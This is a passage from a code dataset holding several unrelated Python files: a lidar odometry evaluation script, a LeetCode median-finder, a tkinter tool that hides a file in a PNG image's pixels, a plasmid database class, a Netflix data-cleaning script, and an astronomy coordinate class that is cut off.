ResultSaver.compute_ate()\n            absoulte_trajectory_errors.append(curr_ate) \n            if(for_idx % num_frames_to_skip_to_show == 0):\n                if opt_detector.show_vis: \n                \n                    legends={}\n                    legends['KP_Extract_Time'] = keypoint_extraction_times[-1]\n                    legends['KP_Matching_Time'] = matching_times[-1]\n                    legends['KP_count'] = keypoint_counts[-1]\n                    \n                    result_dir = \"results_1/\"\n                    \n                    ResultSaver.vizCurrentTrajectory(fig_idx, seq_name, legends)\n                    plt.savefig(result_dir+seq_name + \".png\")\n                \n                #ResultSaver.save_kitti_poses(\"results_1/\", seq_name)   \n                \n                \n\n            print(\"Current Frame : \", i, end=\"\\r\")\n    except KeyboardInterrupt:\n        print(\"Current Frame (Keyboard Interrupt): \", i, )\n        pass \n    return keypoint_extraction_times, keypoint_counts, matching_times, absoulte_trajectory_errors        \n\nkeypoint_detectors = {\n    \"harris\": extract_keypoints_Harris,\n    \"iss\": extract_keypoints_ISS,\n    \"sift\": extract_keypoints_SIFT,\n    \"usip\": extract_keypoints_usip_odom\n    }\n\nprint(args.method)\nkeypoint_extraction_fn = keypoint_detectors[args.method] #extract_keypoints_ISS\ndataset_fn_itr = get_kitti_sample_itr\nkeypoint_extraction_times, keypoint_counts, matching_times, absoulte_trajectory_errors  = execute_odometry(keypoint_extraction_fn, dataset_fn_itr, opt_detector, ResultSaver, stop_frame_id=frame_limit, num_frames_to_skip_to_show=5)\n\n\nresult_dir = \"results_1/\"\ndf = pd.DataFrame(list(zip(keypoint_extraction_times,matching_times,keypoint_counts, absoulte_trajectory_errors)),\n            columns =['KP_Extract', 'Matching', 'KP_count', 'ATE'])\ndf.to_csv(result_dir+seq_name+'.csv')\n\nResultSaver.save_kitti_poses(result_dir, seq_name) ","repo_name":"pranayspeed/GeomSeg_DeepLearning","sub_path":"Keypoint_evaluations/USIP/Odometry.py","file_name":"Odometry.py","file_ext":"py","file_size_in_byte":5806,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"32384754074","text":"# 如何得到一个数据流中的中位数？如果从数据流中读出奇数个数值，那么中位数就是所有数值排序之后位于中间的数值。如果从数据流中读出偶数个数值，那么中位数就是所有数\n# 值排序之后中间两个数的平均值。 \n# \n#  例如， \n# \n#  [2,3,4] 的中位数是 3 \n# \n#  [2,3] 的中位数是 (2 + 3) / 2 = 2.5 \n# \n#  设计一个支持以下两种操作的数据结构： \n# \n#  \n#  void addNum(int num) - 从数据流中添加一个整数到数据结构中。 \n#  double findMedian() - 返回目前所有元素的中位数。 \n#  \n# \n#  示例 1： \n# \n#  输入：\n# [\"MedianFinder\",\"addNum\",\"addNum\",\"findMedian\",\"addNum\",\"findMedian\"]\n# [[],[1],[2],[],[3],[]]\n# 输出：[null,null,null,1.50000,null,2.00000]\n#  \n# \n#  示例 2： \n# \n#  输入：\n# [\"MedianFinder\",\"addNum\",\"findMedian\",\"addNum\",\"findMedian\"]\n# [[],[2],[],[3],[]]\n# 输出：[null,null,2.00000,null,2.50000] \n# \n#  \n# \n#  限制： \n# \n#  \n#  最多会对 addNum、findMedian 进行 50000 次调用。 \n#  \n# \n#  注意：本题与主站 295 题相同：https://leetcode-cn.com/problems/find-median-from-data-strea\n# m/ \n#  Related Topics 堆 设计 \n#  👍 66 👎 0\n\n\n# leetcode submit region begin(Prohibit modification and deletion)\nclass MedianFinder:\n\n    def __init__(self):\n        # 当前大顶堆和小顶堆的元素个数之和\n        self.count = 0\n        self.max_heap = []  #用于存储较小一半数字的大顶对\n        self.min_heap = []  #用于存储较大一半数字的小顶对\n\n    def addNum(self, num: int) -> None:\n        # 从数据流中添加一个整数到数据结构中\n        import heapq\n        self.count += 1\n        # 先放进大堆（相反数），再大堆弹出最大的到小堆（为了平衡）\n        heapq.heappush(self.max_heap, -num)\n        max_heap_top = heapq.heappop(self.max_heap)\n        heapq.heappush(self.min_heap, -max_heap_top)\n\n        # 小堆可能会多一个元素，再弹出来放到大堆。这俩步骤确保两个堆能够平衡\n        if len(self.min_heap) > len(self.max_heap):\n            min_heap_top = heapq.heappop(self.min_heap)\n            heapq.heappush(self.max_heap, -min_heap_top)\n\n    def findMedian(self) -> float:\n        # - 返回目前所有元素的中位数\n        if self.count % 2 == 1:\n        # if self.count & 1:\n            # 如果两个堆合起来的元素个数是奇数，数据流的中位数大顶堆的堆顶元素\n            return -self.max_heap[0]\n        else:\n            # 如果两个堆合起来的元素个数是偶数，数据流的中位数就是各自堆顶元素的平均值\n            return (self.min_heap[0] - self.max_heap[0]) / 2\n\n\n# Your MedianFinder object will be instantiated and called as such:\n# obj = MedianFinder()\n# obj.addNum(num)\n# param_2 = obj.findMedian()\n# leetcode submit region end(Prohibit modification and deletion)\n","repo_name":"HelixPark/lc","sub_path":"[剑指 Offer 41]数据流中的中位数.py","file_name":"[剑指 Offer 41]数据流中的中位数.py","file_ext":"py","file_size_in_byte":2918,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"9403363159","text":"import tkinter as tk\nfrom PIL import Image\nimport numpy as np\nimport binascii\nimport tkinter.filedialog\n\n\nclass ApplicationEncode(tk.Toplevel):\n    \"\"\" Aplication for encoding data in a picture\"\"\"\n    def __init__(self,master):\n        super().__init__(master)\n        self.hiddenData = ''\n        self.title(\"Encode\")\n        self.main_win()\n        self.geometry(\"400x120+30+30\")\n        self.protocol('WM_DELETE_WINDOW', master.close)\n\n    def main_win(self):\n        #for a window\n        self.upl_btn=tk.Button(self, text=\"Upload a PNG picture\", command=self.upload_file,height = 1, width = 18).place(x=10,y=10)\n        self.upl_file_btn=tk.Button(self, text=\"Upload a file\", command=self.uploadHidden_file,height = 1, width = 18).place(x=10,y=35)\n        tk.Button(self, text=\"Encode\", command=self.Encode_mech,height = 1, width = 18).place(x=10,y=60)\n        tk.Button(self, text=\"Close\", command=self.close,height = 1, width = 18).place(x=10, y=85)\n\n\n\n        n = np.uint8(7)\n        if n > 8 or n < 1:\n            exit()\n\n    def close(self):\n        ApplicationEncode.destroy(self)\n\n    def upload_file(self):\n\n        file = tk.filedialog.askopenfilename()\n        self.srcImg=Image.open(file)                                                           #Open an image for encondig\n\n        while self.srcImg.format.upper() != 'PNG':                                             #Check for format of a picture(using format.upper())\n            tk.Label(self, text=\"Warning: Use PNG only,please!\").place(x=150,y=10)             # If not a PNG format , calling filedialog again\n            file = tk.filedialog.askopenfilename()\n            self.srcImg = Image.open(file)                                                     #Try open an image\n\n\n        self.srcData = np.array(self.srcImg)                                                   #make our picture in array data\n\n        tk.Label(self,text=\"1.Successfully uploaded a 'PNG' picture\").place(x=150,y=10)\n\n                                                                           #Value for hidding data(It's empty)???\n\n        self.row = len(self.srcData)                                                           #Figuring out the size of array (size of a picture)\n        self.col = len(self.srcData[0])\n        self.height = len( self.srcData[0][0])                                                 #Because we use RGB (3)????\n       # print(self.row,self.col,self.height)\n        self.srcData =  self.srcData.flatten()                                                 #Make our array in big one(Before: it was of several arrays)\n\n\n    def uploadHidden_file(self):\n        file = tkinter.filedialog.askopenfilename()                                            #Open file for hidding\n        with open(file, \"rb\") as f:                                                            #Open in 'rb' mode for reading it in way like: 010101010\n            byte = f.read(1)                                                                   #if we miss opening in binary mode, we try to do it by our hands\n            while byte:\n                hexadecimal = binascii.hexlify(byte)\n                decimal = int(hexadecimal, 16)\n                binary = bin(decimal)[2:].zfill(8)\n                self.hiddenData += binary\n                byte = f.read(1)\n\n        tk.Label(self, text=\"2.Successfully uploaded a file in the picture\").place(x=150,y=35)\n\n    def Encode_mech(self):\n\n        hiddenDataSize = bin(len(self.hiddenData))[2:].zfill(64)                                #make our hidded size in binary mode from string , and make it for 64 bits\n        noOfBitsUsed = bin(7 - 1)[2:].zfill(3)                                                  #The value, which is the LSB,is used for hidden data (it's 6)\n        self.hiddenData = hiddenDataSize + self.hiddenData                                      #set hidden data value\n\n        self.hiddenData += \"0\" * (7 - (len(self.hiddenData) % 7))                               #Adding LSB to hidden data\n\n        if len(self.hiddenData) > 7 * (len( self.srcData) - 1):\n            tk.Label(self, text=\"Warning:The size of a picture is too small for encoding\").place(x=150,y=60)\n            exit(-1)\n\n        self.srcData[0] &= 248                                                                  #changing R of RGB\n        self.srcData[0] |= np.uint8(int(\"00000\" + noOfBitsUsed, 2))                             #Inputting LSB in R of RGB\n\n        i = 1\n        j = 0\n        setToZero = np.uint8(255 << 7)                                                          #make a bit -> in 255 value (shift it)\n        while i < len(self.srcData) and j < len(self.hiddenData):\n            self.srcData[i] &= setToZero                                                        #Record a 128\n            bits = np.uint8(int(\"0\" * (8 - 7) + self.hiddenData[j:j + 7], 2))                   #getting bits\n            self.srcData[i] |= bits                                                             #recording hidding info in array of a picture\n            i += 1\n            j += 7\n\n        self.srcData = np.reshape(self.srcData, [self.row, self.col, self.height])              #reshape srcData\n\n\n        self.img = Image.fromarray(self.srcData)                                                #convert from array in an image\n        fp=open('C:/Users/Nikita Gusev/Desktop/new.png', 'wb')\n        self.img.save(fp)                                                                       #save image\n        tk.Label(self, text=\"3. Finished\").place(x=150,y=60)\n\n","repo_name":"nikitaxgusev/steganographyPy","sub_path":"mainWindowFiletoPNG/test1.py","file_name":"test1.py","file_ext":"py","file_size_in_byte":5548,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"21010317724","text":"\"\"\"\nThis file was written by James Lucas and Shane O'Connor as part of the Kortemme Lab Plasmid Database.\n\"\"\"\n__author__ = \"James Lucas and Shane O'Connor\"\n__copyright__ = \"\"\n__credits__ = [\"James Lucas\", \"Shane O'Connor\"]\n__license__ = \"CC Attribution-NonCommercial 4.0 International\"\n__version__ = \"0.1\"\n__maintainer__ = \"James Lucas\"\n__email__ = \"james.lucas@berkeley.edu\"\n__status__ = \"Development\"\n\nclass user_input(object):\n    def __init__(self, creator, input_sequences, assembly_type, UID, location, part_number = None,\n                 part_description = None):\n        self.creator = creator\n        self.input_sequences = input_sequences\n        self.assembly_type = assembly_type\n        self.UID = UID\n        self.location = location\n        self.part_number = part_number\n        self.part_description = part_description","repo_name":"jaaamessszzz/Database","sub_path":"base/objects.py","file_name":"objects.py","file_ext":"py","file_size_in_byte":836,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"989067373","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Jan 19 11:07:57 2020\r\n\r\n@author: s133016\r\n\"\"\"\r\n\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\n\r\n\r\ndf = pd.read_csv(r'C:\\Users\\danie\\Desktop\\ML_project\\netflix_shows\\netflix_titles_nov_2019.csv')\r\n\r\ndf.head()\r\n\r\n#for col in df:\r\n#    print(df[col].unique())\r\n\r\n#This shows the type of data we have and how many missing values\r\ndef data_inv(df):\r\n    print('netflix movies and shows: ',df.shape[0])\r\n    print('dataset variables: ',df.shape[1])\r\n    print('-'*10)\r\n    print('dateset columns: \\n')\r\n    print(df.columns)\r\n    print('-'*10)\r\n    print('data-type of each column: \\n')\r\n    print(df.dtypes)\r\n    print('-'*10)\r\n    print('missing rows in each column: \\n')\r\n    c=df.isnull().sum()\r\n    print(c[c>0])\r\ndata_inv(df)\r\n\r\n#find how many rows have the same title, country, type and release year\r\ndups=df.duplicated(['title','country','type','release_year'])\r\ndf[dups]\r\n\r\n#drop these duplicates\r\ndf=df.drop_duplicates(['title','country','type','release_year'])\r\n\r\n#drop column that does not have any importance\r\ndf=df.drop('show_id',axis=1)\r\n\r\n\r\n#Now deal with missing values\r\ndf['cast']=df['cast'].replace(np.nan,'Unknown')\r\ndef cast_counter(cast):\r\n    if cast=='Unknown':\r\n        return 0\r\n    else:\r\n        lst=cast.split(', ')\r\n        length=len(lst)\r\n        return length\r\ndf['number_of_cast']=df['cast'].apply(cast_counter)\r\ndf['cast']=df['cast'].replace('Unknown',np.nan)\r\n\r\n\r\ndf['rating']=df['rating'].fillna(df['rating'].mode()[0])\r\ndf['date_added']=df['date_added'].fillna('January 1, {}'.format(str(df['release_year'].mode()[0])))\r\n\r\nimport re\r\nmonths={\r\n    'January':1,\r\n    'February':2,\r\n    'March':3,\r\n    'April':4,\r\n    'May':5,\r\n    'June':6,\r\n    'July':7,\r\n    'August':8,\r\n    'September':9,\r\n    'October':10,\r\n    'November':11,\r\n    'December':12\r\n}\r\ndate_lst=[]\r\nfor i in df['date_added'].values:\r\n    str1=re.findall('([a-zA-Z]+)\\s[0-9]+\\,\\s[0-9]+',i)\r\n    str2=re.findall('[a-zA-Z]+\\s([0-9]+)\\,\\s[0-9]+',i)\r\n    str3=re.findall('[a-zA-Z]+\\s[0-9]+\\,\\s([0-9]+)',i)\r\n    date='{}-{}-{}'.format(str3[0],months[str1[0]],str2[0])\r\n    date_lst.append(date)\r\n    \r\n    \r\ndf['date_added_cleaned']=date_lst\r\ndf=df.drop('date_added',axis=1)\r\ndf['date_added_cleaned']=df['date_added_cleaned'].astype('datetime64[ns]')\r\n\r\n\r\n\r\nfor i in df.index:\r\n    if df.loc[i,'rating']=='UR':\r\n        df.loc[i,'rating']='NR'\r\n        \r\n        \r\n#Visualize the data\r\n\r\nfig = plt.figure()\r\nax = fig.add_subplot(1,1,1)\r\n\r\nax.hist(df['rating'])\r\n\r\n\r\n#Using one-out-k encoder\r\nfrom sklearn.preprocessing import OneHotEncoder\r\nfrom math import sqrt\r\n#find the categorical variables in ratings\r\ndf[\"rating\"] = df[\"rating\"].astype('category')\r\n\r\ndf[\"rating_cat\"] = df[\"rating\"].cat.codes\r\n\r\n\r\nfrom sklearn.preprocessing import LabelBinarizer\r\n\r\nlb_style = LabelBinarizer()\r\nlb_results = lb_style.fit_transform(df[\"rating\"])\r\n\r\n\r\nratingLabels = df['rating']\r\nratingNames = sorted(set(ratingLabels))\r\nratingDict = dict(zip(ratingNames, range(13)))\r\nrating_Y = np.asarray([ratingDict[value] for value in ratingLabels])\r\n\r\nk = 1\r\n\r\ndf['G'] = [k if value == 0 else 0 for value in rating_Y]  \r\ndf['NC-17'] = [k if value == 1 else 0 for value in rating_Y]    \r\ndf['NR'] = [k if value == 2 else 0 for value in rating_Y]\r\ndf['PG'] = [k if value == 3 else 0 for value in rating_Y]  \r\ndf['PG-13'] = [k if value == 4 else 0 for value in rating_Y]  \r\ndf['R'] = [k if value == 5 else 0 for value in rating_Y]  \r\ndf['TV-14'] = [k if value == 6 else 0 for value in rating_Y]  \r\ndf['TV-G'] = [k if value == 7 else 0 for value in rating_Y]  \r\ndf['TV-MA'] = [k if value == 8 else 0 for value in rating_Y]  \r\ndf['TV-PG'] = [k if value == 9 else 0 for value in rating_Y]  \r\ndf['TV-Y'] = [k if value == 10 else 0 for value in rating_Y] \r\ndf['TV-Y7'] = [k if value == 11 else 0 for value in rating_Y]\r\ndf['TV-Y7-FV'] = [k if value == 12 else 0 for value in rating_Y]  \r\n\r\n\r\n\r\n\r\n\r\nTotal = [df['G'].sum(), df['NC-17'].sum(), df['NR'].sum(), \r\n         df['PG'].sum(), df['PG-13'].sum(), df['R'].sum(),\r\n         df['TV-14'].sum(), df['TV-G'].sum(), df['TV-MA'].sum(),\r\n         df['TV-PG'].sum(), df['TV-Y'].sum(), df['TV-Y7'].sum(),\r\n         df['TV-Y7-FV'].sum()]\r\nfig = plt.figure()\r\nax = fig.add_subplot(1,1,1)\r\n\r\nax.pie(Total, labels = ratingNames, autopct='%1.1f%%')\r\n\r\n\r\nimport seaborn as sns\r\nfig = plt.figure()\r\nax = fig.add_subplot(1,1,1)\r\n\r\nsns.countplot(x = 'rating', hue = 'type', data = df)\r\n\r\n\r\n#check the country with the most movies/series\r\n\r\ndf['country'].value_counts().sort_values(ascending = False)\r\n\r\n\r\ntop_productive_countries=df[(df['country']=='United States')|(df['country']=='India')|(df['country']=='United Kingdom')|(df['country']=='Japan')|\r\n                             (df['country']=='Canada')|(df['country']=='Spain')]\r\nplt.figure(figsize=(10,8))\r\nsns.countplot(x='country',hue='type',data=top_productive_countries)\r\nplt.title('comparing between the types that the top countries produce')\r\nplt.show()\r\n\r\n\r\n\r\n\r\n#This shows the percentage of ratings for each of the most popular countries\r\n\r\nfor i in top_productive_countries['country'].unique():\r\n    print(i)\r\n    print(top_productive_countries[top_productive_countries['country']==i]['rating'].value_counts(normalize=True)*100)\r\n    print('-'*10)\r\n    \r\n    \r\n#show how many movies vs series\r\n\r\ndf['year_added']=df['date_added_cleaned'].dt.year\r\ndf['type'].value_counts(normalize=True)*100\r\n\r\n\r\ndf.groupby('year_added')['type'].value_counts(normalize=True)*100\r\n\r\ndups=df.duplicated(['title'])\r\ndf[dups]['title']\r\n\r\n\r\nfor i in df[dups]['title'].values:\r\n    print(df[df['title']==i][['title','type','release_year','country']])\r\n    print('-'*40)\r\n    \r\n    \r\n    \r\n    \r\nplt.figure(figsize=(10,8))\r\ndf['year_added'].value_counts().plot.bar()\r\nplt.title('distribution of year-added')\r\nplt.ylabel('relative frequency')\r\nplt.xlabel('year_added')\r\nplt.show()\r\n\r\n\r\n\r\n\r\ncounts=0\r\nfor i,j in zip(df['release_year'].values,df['year_added'].values):\r\n    if i!=j:\r\n        counts+=1\r\nprint('number of contents that its release year differ from the year added to netflix are ',str(counts))","repo_name":"DanielAhmadDK/mini_machine_learning_projects","sub_path":"netflix_dataprocessing.py","file_name":"netflix_dataprocessing.py","file_ext":"py","file_size_in_byte":6120,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"43136638255","text":"import types\nimport math\n\nimport numpy as N\nfrom . import angsep\nfrom . import astrodate #helper class: to be brought inside eventually\n\nfrom . import pytpm\nfrom . import pytpm_wrapper\n\nclass Position(object):\n    \"\"\"\n    The basic class in the coords library. The Position class is designed\n    to permit users to define a position and then access many representations\n    of it.\n\n    Attributes\n    ----------\n    input\n        The input used to create the Position.\n    \n    units : {'degrees', 'radians'}\n        Unit in which the coords were specified.\n\n    equinox : string\n        Equinox at which the coordinates were specified.\n    \n    system : {'celestial', 'galactic', 'ecliptic'}\n\n    _tpmstate : integer\n        The TPM state of the position.\n\n    coord : `~position.Coord`\n        A \"smart\" representation of the position.\n\n    _internal : (float, float)\n        The internal representation of the position (decimal degrees).\n\n    \"\"\"\n\n    def __init__(self,input,\n                 equinox='J2000',\n                 system='celestial',\n                 units='degrees'):\n        \"\"\"\n        Parameters\n        ----------\n        input : string (hh:mm:ss.ss +dd:mm:ss.sss) or tuple of numbers (dd.ddd, dd.ddd)\n            Coordinates of the position.\n\n        equinox : string\n            Equinox in which the coords are specified.\n\n        system : string\n            celestial, galactic, ecliptic, etc\n\n        units : {'degrees', 'radians'}\n\n        \"\"\"\n        self.input=input\n        try:\n            self.equinox=equinox.lower()\n        except:\n            self.equinox=equinox #to support arbitrary equinoxes\n        self.system=system.lower()\n        self.units=units.lower()\n        self._set_tpmstate()\n        self._parsecoords()\n\n\n    def _set_tpmstate(self):\n        \"\"\"Define the state for TPM based on equinox and system.\"\"\"\n        if self.system == 'galactic':\n            self._tpmstate=4\n            self._tpmequinox=astrodate.BesselDate(1958.0).jd\n        elif self.system == 'ecliptic':\n            self._tpmstate=3\n            self._tpmequinox=astrodate.JulianDate(1984.0).jd\n        elif self.system == 'celestial':\n            if self.equinox == 'j2000':\n                self._tpmstate=6\n                self._tpmequinox=pytpm.j2000\n            elif self.equinox == 'b1950':\n                self._tpmstate=5\n                self._tpmequinox=pytpm.b1950\n            else: #arbitrary equinox. assume FK5 for now, but this is bad.\n                self._tpmstate=2\n                self._tpmequinox=astrodate.JulianDate(self.equinox).jd\n\n    def details(self):\n        \"\"\"\n        Returns\n        -------\n        ans : string\n            Formatted `system` and `equinox` for printing.\n\n        \"\"\"\n        ans=\"\"\" System: %s \\n Equinox: %s \"\"\" %(self.system,self.equinox)\n        return ans\n\n    def __repr__(self):\n        \"\"\"\n        Returns\n        -------\n        string\n        \n        \"\"\"\n        return \"%s (%s)\"%(self.coord.__repr__(),self.units)\n\n    def _parsecoords(self):\n        \"\"\"\n        Convert from input string into internal representation\n        (decimal degrees) by invoking the appropriate type of Coord.\n        Default float values will be interpreted as decimal\n        degrees; radians will have to be specified as such.\n\n        Legitimate units: hmsdms, decimal degrees, radians\n\n            - hmsdms = \"hh:mm:ss.ss -dd:mm:ss.ss\"\n            - decimal degrees = (ddd.dd, -ddd.dd)\n            - radians = (rr.rr, rr.rr)\n\n        .. todo:: Add support for 3vectors (\"xx.xxx yy.yyy zz.zzz\")\n\n        Returns\n        -------\n        None\n\n        \"\"\"\n        if type(self.input) == type(''):\n            self.coord=Hmsdms(self.input)\n##         elif len(self.input) == 3:\n##             self.coord=ThreeVec(self.input)\n        elif len(self.input) == 2:\n            if self.units.lower().startswith('rad'):\n                self.coord=Radians(self.input)\n            else:\n                self.coord=Degrees(self.input)\n        else:\n            raise ValueError(\"Can't parse input %s\"%self.input)\n\n        self._internal=self.coord._calcinternal()\n##         if self._tpmstate != pytpm.s06:\n##             self._internal = self.j2000()\n\n#....................................................................\n# Unit conversions\n\n    def dd(self):\n        \"\"\"\n        Returns\n        -------\n        _internal : (float, float)\n            Position in decimal degrees.\n        \n        \"\"\"\n        return self._internal\n\n    def rad(self):\n        \"\"\"\n        Returns\n        -------\n        r1, r2 : (float, float)\n            Position in radians.\n            \n        \"\"\"\n        r1=self._internal[0]*math.pi/180.0\n        r2=self._internal[1]*math.pi/180.0\n        return (r1,r2)\n\n    def hmsdms(self):\n        \"\"\"\n        Returns\n        -------\n        value : string\n            Position in hms dms.\n\n        \"\"\"\n        a1,a2=self._internal\n        sign,rhh,rmm,rss=dms(a1/15.0)\n        sign,ddd,dmm,dss=dms(a2)\n        return \"%02i:%02i:%06.3f %s%02i:%02i:%06.3f\"%(rhh,rmm,rss,\n                                                      sign,ddd,dmm,dss)\n\n#.........................................................................\n# Angular separations\n    def angsep(self,other):\n        \"\"\"\n        Computes the angular separation (great circle distance)\n        between two Positions.\n\n        Parameters\n        ----------\n        other : another `~position.Position`\n\n        Returns\n        -------\n        ans : `~angsep.AngSep`\n            Angular separation.\n\n        \"\"\"\n        if not isinstance(other,Position):\n            raise ValueError(\"angsep only defined for positions\")\n\n        if self._tpmstate != other._tpmstate:\n            #convert other state to self state\n            otherpos=other.tpmstate(self._tpmstate,equinox=self._tpmequinox)\n            #It presently returns a tuple of (dd)\n            #Convert the result to a Coord\n            other_rad=Degrees(otherpos)._calcradians()\n        else:\n            other_rad=other.rad()\n        d=gcdist(self.rad(),other_rad)\n        ans=angsep.AngSep(d,units='rad')\n        ans.setunits(self.units)\n        return ans\n\n    def within(self,other,epsilon,units='arcsec'):\n        \"\"\"\n        Check if `other` is within `self`.\n        \n        Parameters\n        ----------\n        other : another `~position.Position`\n\n        epsilon : `~angsep.AngSep` or number\n            Angular separation.\n\n        units : {'arcsec', 'degrees'}\n            Unit of `epsilon`, if it is specified as a number.\n\n        Returns\n        -------\n        ans : boolean\n            `True` if `other` is within `epsilon` of `self`.\n\n        \"\"\"\n        sep=self.angsep(other)\n        sep.setunits(units)\n        ans=sep.__le__(epsilon)\n        return ans\n\n#.................................................................\n# Coordinate transformations using TPM.\n# All \"tstate\" management is done inside blackbox.\n\n    def galactic(self,timetag=None):\n        \"\"\"\n        Return the position in IAU 1958 Galactic coordinates.\n\n        Parameters\n        ----------\n        timetag : `~astrodate.AstroDate`\n            Timetag of returned coordinate.\n\n        Returns\n        -------\n        l, b : (float, float)\n            Tuple in decimal degrees.\n\n        \"\"\"\n        x,y=self.dd()\n        l,b=pytpm_wrapper.blackbox(x,y,self._tpmstate,pytpm.s04,pytpm.j2000,self._tpmequinox,timetag)\n        return l,b\n\n    def j2000(self,timetag=None):\n        \"\"\"\n        Return the position in Mean FK5 J2000 coordinates.\n\n        Parameters\n        ----------\n        timetag : `~astrodate.AstroDate`\n            Timetag of returned coordinate.\n\n        Returns\n        -------\n        r, d : (float, float)\n            Tuple of RA and DEC in decimal degrees.\n\n        \"\"\"\n        x,y=self.dd()\n        r,d=pytpm_wrapper.blackbox(x,y,self._tpmstate,pytpm.s06,pytpm.j2000,self._tpmequinox,timetag)\n        return r,d\n\n    def b1950(self,timetag=None):\n        \"\"\"\n        Return the position in Mean FK4 B1950 coordinates.\n\n        Parameters\n        ----------\n        timetag : `~astrodate.AstroDate`\n            Timetag of returned coordinate.\n\n        Returns\n        -------\n        r, d : (float, float)\n            Tuple of RA and DEC in decimal degrees.\n\n        \"\"\"\n        x,y=self.dd()\n        r,d=pytpm_wrapper.blackbox(x,y,self._tpmstate,pytpm.s05,pytpm.j2000,self._tpmequinox,timetag)\n        return r,d\n\n    def ecliptic(self,timetag=None):\n        \"\"\"\n        Return the position in IAU 1980 Ecliptic coordinates.\n\n        Parameters\n        ----------\n        timetag : `~astrodate.AstroDate`\n            Timetag of returned coordinate.\n\n        Returns\n        -------\n        r, d : (float, float)\n            Tuple of (le,be) in decimal degrees.\n\n        \"\"\"\n        x,y=self.dd()\n        r,d=pytpm_wrapper.blackbox(x,y,self._tpmstate,pytpm.s03,pytpm.j2000,self._tpmequinox,timetag)\n        return r,d\n\n    def tpmstate(self,endstate,epoch=None,equinox=None,timetag=None):\n        \"\"\"\n        This method allows the expert user to call the blackbox\n        routine of the TPM library directly, for access to more state\n        transitions than are supported in this interface. Little\n        documentation is provided here because it is assumed you know\n        what you are doing if you need this routine.\n\n        Parameters\n        ----------\n        endstate : integer\n            As defined by the TPM state machine.\n\n        epoch : float\n            Epoch in Julian date; default is J2000.\n\n        equinox : float\n            Equinox in Julian date; default is `_tpmequinox`.\n\n        timetag : `~astrodate.AstroDate`\n            Timetag of returned coordinate.\n\n        Returns\n        -------\n        x2, y2 : (float, float)\n            Transformed coordinates in decimal degrees.\n\n        \"\"\"\n        if epoch is None:\n            epoch=pytpm.j2000\n        if equinox is None:\n            equinox=self._tpmequinox\n        x1,y1=self.dd()\n        x2,y2=pytpm_wrapper.blackbox(x1,y1,self._tpmstate,endstate,epoch,equinox,timetag)\n        return x2,y2\n\n#-----------------------------------------------------------------\n#Coordinate object\n\nclass Coord:\n    \"\"\"\n    General class for subclasses.\n\n    A Coord is distinct from a Position by being intrinsically expressed in\n    a particular set of units.\n\n    Each Coord subclass knows how to parse its own input, and convert itself\n    into the internal representation (decimal degrees) used by the package.\n    \n    \"\"\"\n\nclass Degrees(Coord):\n    \"\"\"\n    Decimal degrees coord.\n\n    Attributes\n    ----------\n    a1, a2 : float\n        Longitude and latitude in decimal degrees.\n\n    \"\"\"\n\n    def __init__(self,input):\n        \"\"\"\n        Parameters\n        ----------\n        input : (float, float)\n            Coordinates in decimal degrees.\n\n        \"\"\"\n        self.a1,self.a2=input\n        #Check for valid range\n        #TPM supports -180<longitude<180\n        #More usual convention is 0<longitude<360\n        #Support both this way\n        if not -180 <= self.a1 <= 360:\n            raise ValueError(\"Longitude %f out of range [-180,360]\"%self.a1)\n        if not -90 <= self.a2 <= 90:\n            raise ValueError(\"Latitude %f out of range [-90,90]\"%self.a2)\n\n    def __repr__(self):\n        \"\"\"\n        Returns\n        -------\n        string\n\n        \"\"\"\n        return \"%f %f\"%(self.a1,self.a2)\n\n    def _calcinternal(self):\n        return self.a1,self.a2\n\n    def _calcradians(self):\n        a1=(math.pi/180.0)*self.a1\n        a2=(math.pi/180.0)*self.a2\n        return a1,a2\n\nclass Radians(Coord):\n    \"\"\"\n    Radians coord.\n\n    Attributes\n    ----------\n    a1, a2 : float\n        Longitude and latitude in radians.\n\n    \"\"\"\n    \n    def __init__(self,input):\n        \"\"\"\n        Parameters\n        ----------\n        input : (float, float)\n            Coordinates in radians.\n\n        \"\"\"\n        self.a1, self.a2=input\n        if not -1*math.pi <= self.a1 <=2*math.pi:\n            raise ValueError(\"Longitude %f out of range [0,2pi]\"%self.a1)\n        if not -1*math.pi <= self.a2 <=math.pi:\n            raise ValueError(\"Latitude %f out of range [0,2pi]\"%self.a2)\n\n    def __repr__(self):\n        \"\"\"\n        Returns\n        -------\n        string\n\n        \"\"\"\n        return \"%f %f\"%(self.a1,self.a2)\n\n    def _calcinternal(self):\n        \"\"\"\n        Convert radians to decimal degrees.\n\n        Returns\n        -------\n        a1, a2 : (float, float)\n            Decimal degrees.\n\n        \"\"\"\n        a1=self.a1*(180.0/math.pi)\n        a2=self.a2*(180.0/math.pi)\n        return a1,a2\n\nclass Hmsdms(Coord):\n    \"\"\"\n    Sexagesimal coord: longitude in hours of time (enforced).\n\n    Attributes\n    ----------\n    a1, a2 : Numpy[int,int,float]\n        Longitude and latitude in hours, minutes, seconds\n\n    \"\"\"\n\n    def __init__(self,input):\n        \"\"\"\n        Parameters\n        ----------\n        input : string\n            Coordinates as hh:mm:ss.sss +dd:mm:ss.sss (sign optional).\n\n        \"\"\"\n        #First break into two on spaces\n        a1,a2=input.split()\n        #Then break each one into pieces on colons\n        hh,mm,ss=a1.split(':')\n        #Check range\n        if not 0 <= int(hh) <= 24:\n            raise ValueError(\"Hours %s out of range [0,24]\"%hh)\n        if not 0 <= int(mm) <= 60:\n            raise ValueError(\"Minutes %s out of range [0,60]\"%mm)\n        if not 0 <= float(ss) <= 60:\n            raise ValueError(\"Seconds %s out of range [0,60]\"%ss)\n        self.a1=N.array([int(float(hh)),int(float(mm)),float(ss)])\n\n        dd,mm,ss=a2.split(':')\n        if not -90 <= int(dd) <= 90:\n            raise ValueError(\"Degrees %s out of range [-90,90]\"%dd)\n        if not 0 <= int(mm) <= 60:\n            raise ValueError(\"Minutes %s out of range [0,60]\"%mm)\n        if not 0 <= float(ss) <= 60:\n            raise ValueError(\"Seconds %s out of range [0,60]\"%ss)\n\n        